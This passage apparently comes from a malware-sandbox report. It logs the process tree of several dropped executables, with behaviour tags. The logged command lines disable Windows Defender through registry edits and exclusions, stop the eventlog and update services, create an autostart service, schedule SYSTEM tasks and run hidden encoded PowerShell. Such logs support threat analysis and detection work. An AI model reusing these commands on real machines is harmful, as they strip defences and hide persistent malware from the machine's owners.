- Power Settings
PID:3196

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
8⤵
- Power Settings
PID:1012

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
8⤵
- Power Settings
PID:4044

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "WSNKISKT"
8⤵
- Launches sc.exe
PID:1644

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
8⤵
- Launches sc.exe
PID:1516

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
8⤵
- Launches sc.exe
PID:3948

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WSNKISKT"
8⤵
- Launches sc.exe
PID:3000

C:\Users\Admin\AppData\Local\Temp\1000009001\setup.exe
"C:\Users\Admin\AppData\Local\Temp\1000009001\setup.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2664

C:\Users\Admin\AppData\Local\Temp\7zS312E.tmp\Install.exe
.\Install.exe
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2600

C:\Users\Admin\AppData\Local\Temp\7zS344A.tmp\Install.exe
.\Install.exe /Rdprdidxe "385134" /S
9⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
PID:3084

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
10⤵
PID:2516

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
11⤵
PID:2456

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
12⤵
PID:1820

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
13⤵
PID:2676

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
11⤵
PID:3268

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
12⤵
PID:2900

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
13⤵
PID:1632

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
11⤵
PID:2020

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
12⤵
PID:3600

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
13⤵
PID:3592

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
11⤵
PID:2052

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
12⤵
PID:2308

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
13⤵
PID:1588

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
11⤵
PID:2092

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
12⤵
PID:1712

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
13⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2036

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
14⤵
PID:3680

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
10⤵
PID:904

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
11⤵
PID:3236

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
12⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1804

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
13⤵
PID:1964

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bRfJDuKmNsszhfPRJj" /SC once /ST 22:33:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\XFNPoyW.exe\" oU /bwSdidqf 385134 /S" /V1 /F
10⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:3728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 608
10⤵
- Program crash
PID:3332

C:\Users\Admin\AppData\Local\Temp\1000070001\monster.exe
"C:\Users\Admin\AppData\Local\Temp\1000070001\monster.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3592

C:\Users\Admin\AppData\Local\Temp\onefile_3592_133633962867998000\stub.exe
"C:\Users\Admin\AppData\Local\Temp\1000070001\monster.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3872

C:\Users\Admin\AppData\Local\Temp\1000075001\legs.exe
"C:\Users\Admin\AppData\Local\Temp\1000075001\legs.exe"
5⤵
- Executes dropped EXE
PID:3560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3560 -s 64
6⤵
- Loads dropped DLL
- Program crash
PID:3524

C:\Users\Admin\AppData\Local\Temp\1000082001\quickaccesspopup.exe
"C:\Users\Admin\AppData\Local\Temp\1000082001\quickaccesspopup.exe"
5⤵
- Executes dropped EXE
PID:2492

C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe
"C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1196

C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe
"C:\Users\Admin\AppData\Local\Temp\1000087001\chromedriver.exe"
6⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3572

C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe
"C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe"
5⤵
- Executes dropped EXE
PID:688

C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe
"C:\Users\Admin\AppData\Local\Temp\1000088001\spain.exe"
6⤵
- Executes dropped EXE
PID:3372

C:\Users\Admin\AppData\Local\Temp\1000016001\6fff6f14a4.exe
"C:\Users\Admin\AppData\Local\Temp\1000016001\6fff6f14a4.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1816

C:\Users\Admin\AppData\Local\Temp\1000017001\b7d640390d.exe
"C:\Users\Admin\AppData\Local\Temp\1000017001\b7d640390d.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2952

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2668

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6c49758,0x7fef6c49768,0x7fef6c49778
5⤵
PID:2432

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1176 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:2
5⤵
PID:2912

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1500 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:8
5⤵
PID:2764

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1628 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:8
5⤵
PID:1744

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2292 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:1
5⤵
PID:2940

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2304 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:1
5⤵
PID:1740

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1496 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:2
5⤵
PID:1340

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3176 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:1
5⤵
PID:1040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=2356 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:1
5⤵
PID:1752

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2760 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:8
5⤵
PID:1696

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3900 --field-trial-handle=1216,i,10619314077395140817,2129587486735274760,131072 /prefetch:8
5⤵
PID:2340

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:596

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "17414620301995474995123979574796237778629622798911611837013322424591386012771"
1⤵
PID:3112

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
1⤵
PID:2492

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1400314744-10678511615567784991152661394-2826724505203861161294146181-1523769979"
1⤵
PID:2456

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1165350074-15237340931221671988433257235-1686159894395856825-8559543501507922120"
1⤵
PID:1336

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-9000523721278759896-891632604941327078730103001-1518270005-256557168-2113226613"
1⤵
PID:1504

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-716258389-9937177-582669057-1871583359571577590-6600410697455333826171182"
1⤵
PID:2092

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1087187043-2084951539-653411992-20570220814167322951864248393-1232331704928162451"
1⤵
PID:3236

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:768

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3872

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:2040

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
- Drops file in Windows directory
PID:1680

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:2860

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:764

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:3204

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:3536

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:3664

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Power Settings
PID:3732

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Power Settings
PID:3188

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Power Settings
PID:3832

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Power Settings
PID:3828

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:3596

C:\Windows\explorer.exe
explorer.exe
2⤵
- Modifies data under HKEY_USERS
PID:3380

C:\Windows\system32\taskeng.exe
taskeng.exe {DCDC4406-87CD-4F3E-8C51-A517822E3CF7} S-1-5-21-1298544033-3225604241-2703760938-1000:IZKCKOTP\Admin:Interactive:[1]
1⤵
PID:2308

C:\ProgramData\cqhajj\bfkwpn.exe
C:\ProgramData\cqhajj\bfkwpn.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:488

C:\ProgramData\cqhajj\bfkwpn.exe
"C:\ProgramData\cqhajj\bfkwpn.exe"
3⤵
- Executes dropped EXE
PID:3000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:4772

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:4916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:2236

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:2776

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:4572

C:\ProgramData\cqhajj\bfkwpn.exe
C:\ProgramData\cqhajj\bfkwpn.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3624

C:\ProgramData\cqhajj\bfkwpn.exe
"C:\ProgramData\cqhajj\bfkwpn.exe"
3⤵
- Executes dropped EXE
PID:4704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:2716

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
PID:2652

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:4408

C:\ProgramData\cqhajj\bfkwpn.exe
C:\ProgramData\cqhajj\bfkwpn.exe
2⤵
- Executes dropped EXE
PID:3676

C:\Windows\system32\taskeng.exe
taskeng.exe {E03A35CE-F37D-4F02-A7BC-5F29883326E6} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:360

C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\XFNPoyW.exe
C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\XFNPoyW.exe oU /bwSdidqf 385134 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4228

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:4272

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
4⤵
PID:4296

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:4304

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
PID:4312

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
4⤵
PID:4320

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:4328

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
PID:4336

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
4⤵
PID:4344

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:4352

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
PID:4360

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
4⤵
PID:4368

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:4376

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
PID:4384

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
PID:4392

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
PID:4400

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4408

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
7⤵
PID:4456

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gXcnOLBac" /SC once /ST 18:09:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:4720

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gXcnOLBac"
3⤵
PID:4744

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gXcnOLBac"
3⤵
PID:5108

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:3624

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:2696

